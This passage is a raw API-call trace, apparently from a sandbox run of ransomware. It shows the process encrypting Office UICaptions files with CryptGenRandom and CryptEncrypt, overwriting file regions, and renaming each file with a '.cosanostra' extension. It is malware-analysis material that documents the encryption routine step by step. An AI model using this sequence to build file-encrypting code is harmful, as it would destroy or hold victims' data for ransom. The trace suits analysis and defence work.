lpOverlapped=0x0) returned 1 [0095.685] CloseHandle (hObject=0x160) returned 1 [0095.686] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.cosanostra") returned 88 [0095.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll.cosanostra")) returned 1 [0095.686] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4f0 | out: pbBuffer=0x251f4f0) returned 1 [0095.686] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4e8*=0x30) returned 1 [0095.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.686] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 74 [0095.686] StrStrW (lpFirst="PPINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.815] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.815] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4ac*=0x2800, lpOverlapped=0x0) returned 1 [0095.815] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.815] WriteFile (in: hFile=0x160, lpBuffer=0x251f4ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x251f4ec*, lpNumberOfBytesWritten=0x251f4ac*=0x4, lpOverlapped=0x0) returned 1 [0095.818] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4ac*=0x30, lpOverlapped=0x0) returned 1 [0095.818] CloseHandle (hObject=0x160) returned 1 [0095.818] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.cosanostra") returned 85 [0095.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll.cosanostra")) returned 1 [0095.839] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4e8 | out: pbBuffer=0x251f4e8) returned 1 [0095.839] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4e0*=0x30) returned 1 [0095.839] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.841] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 74 [0095.841] StrStrW (lpFirst="ONINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.874] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.874] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4a4*=0x2800, lpOverlapped=0x0) returned 1 [0095.875] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.875] WriteFile (in: hFile=0x160, lpBuffer=0x251f4e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x251f4e4*, lpNumberOfBytesWritten=0x251f4a4*=0x4, lpOverlapped=0x0) returned 1 [0095.876] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4a4*=0x30, lpOverlapped=0x0) returned 1 [0095.877] CloseHandle (hObject=0x160) returned 1 [0095.877] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.cosanostra") returned 85 [0095.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll.cosanostra")) returned 1 [0095.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4e8 | out: pbBuffer=0x251f4e8) returned 1 [0095.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4e0*=0x30) returned 1 [0095.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.878] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 75 [0095.878] StrStrW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.998] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.998] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4a4*=0x2800, lpOverlapped=0x0) returned 1 [0095.999] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.999] WriteFile (in: hFile=0x160, lpBuffer=0x251f4e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x251f4e4*, lpNumberOfBytesWritten=0x251f4a4*=0x4, lpOverlapped=0x0) returned 1 [0096.006] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4a4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4a4*=0x30, lpOverlapped=0x0) returned 1 [0096.006] CloseHandle (hObject=0x160) returned 1 [0096.006] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.cosanostra") returned 86 [0096.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll.cosanostra")) returned 1 [0096.007] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4e0 | out: pbBuffer=0x251f4e0) returned 1 [0096.008] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4d8*=0x30) returned 1 [0096.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.008] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 74 [0096.008] StrStrW (lpFirst="WWINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.024] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.024] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f49c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f49c*=0x2800, lpOverlapped=0x0) returned 1 [0096.024] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.024] WriteFile (in: hFile=0x160, lpBuffer=0x251f4dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f49c, lpOverlapped=0x0 | out: lpBuffer=0x251f4dc*, lpNumberOfBytesWritten=0x251f49c*=0x4, lpOverlapped=0x0) returned 1 [0096.025] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f49c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f49c*=0x30, lpOverlapped=0x0) returned 1 [0096.025] CloseHandle (hObject=0x160) returned 1 [0096.025] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.cosanostra") returned 85 [0096.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll.cosanostra")) returned 1 [0096.026] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4d8 | out: pbBuffer=0x251f4d8) returned 1 [0096.026] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4d0*=0x30) returned 1 [0096.026] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.026] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 74 [0096.026] StrStrW (lpFirst="STINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.028] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.028] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f494*=0x2800, lpOverlapped=0x0) returned 1 [0096.028] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.028] WriteFile (in: hFile=0x160, lpBuffer=0x251f4d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x251f4d4*, lpNumberOfBytesWritten=0x251f494*=0x4, lpOverlapped=0x0) returned 1 [0096.029] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f494*=0x30, lpOverlapped=0x0) returned 1 [0096.029] CloseHandle (hObject=0x160) returned 1 [0096.029] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.cosanostra") returned 85 [0096.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll.cosanostra")) returned 1 [0096.030] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4d8 | out: pbBuffer=0x251f4d8) returned 1 [0096.030] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4d0*=0x30) returned 1 [0096.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.030] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 73 [0096.030] StrStrW (lpFirst="SGRES.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.049] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.049] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f494*=0x2800, lpOverlapped=0x0) returned 1 [0096.049] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.049] WriteFile (in: hFile=0x160, lpBuffer=0x251f4d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x251f4d4*, lpNumberOfBytesWritten=0x251f494*=0x4, lpOverlapped=0x0) returned 1 [0096.099] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f494, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f494*=0x30, lpOverlapped=0x0) returned 1 [0096.099] CloseHandle (hObject=0x160) returned 1 [0096.100] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.cosanostra") returned 84 [0096.100] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll.cosanostra")) returned 1 [0096.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4d0 | out: pbBuffer=0x251f4d0) returned 1 [0096.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4c8*=0x30) returned 1 [0096.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.101] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 77 [0096.101] StrStrW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.197] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.197] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f48c*=0x2800, lpOverlapped=0x0) returned 1 [0096.197] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.197] WriteFile (in: hFile=0x160, lpBuffer=0x251f4cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x251f4cc*, lpNumberOfBytesWritten=0x251f48c*=0x4, lpOverlapped=0x0) returned 1 [0096.227] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f48c*=0x30, lpOverlapped=0x0) returned 1 [0096.227] CloseHandle (hObject=0x160) returned 1 [0096.228] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.cosanostra") returned 88 [0096.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll.cosanostra")) returned 1 [0096.228] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4d0 | out: pbBuffer=0x251f4d0) returned 1 [0096.228] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4c8*=0x30) returned 1 [0096.228] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.229] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 74 [0096.229] StrStrW (lpFirst="ONINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.245] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.245] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f48c*=0x2800, lpOverlapped=0x0) returned 1 [0096.245] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.245] WriteFile (in: hFile=0x160, lpBuffer=0x251f4cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x251f4cc*, lpNumberOfBytesWritten=0x251f48c*=0x4, lpOverlapped=0x0) returned 1 [0096.290] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f48c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f48c*=0x30, lpOverlapped=0x0) returned 1 [0096.290] CloseHandle (hObject=0x160) returned 1 [0096.290] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.cosanostra") returned 85 [0096.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll.cosanostra")) returned 1 [0096.291] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4c8 | out: pbBuffer=0x251f4c8) returned 1 [0096.291] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4c0*=0x30) returned 1 [0096.291] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.291] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 75 [0096.291] StrStrW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.324] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.324] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f484*=0x2800, lpOverlapped=0x0) returned 1 [0096.324] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.324] WriteFile (in: hFile=0x160, lpBuffer=0x251f4c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x251f4c4*, lpNumberOfBytesWritten=0x251f484*=0x4, lpOverlapped=0x0) returned 1 [0096.391] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f484, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f484*=0x30, lpOverlapped=0x0) returned 1 [0096.391] CloseHandle (hObject=0x160) returned 1 [0096.392] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.cosanostra") returned 86 [0096.392] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.cosanostra" (normalized: 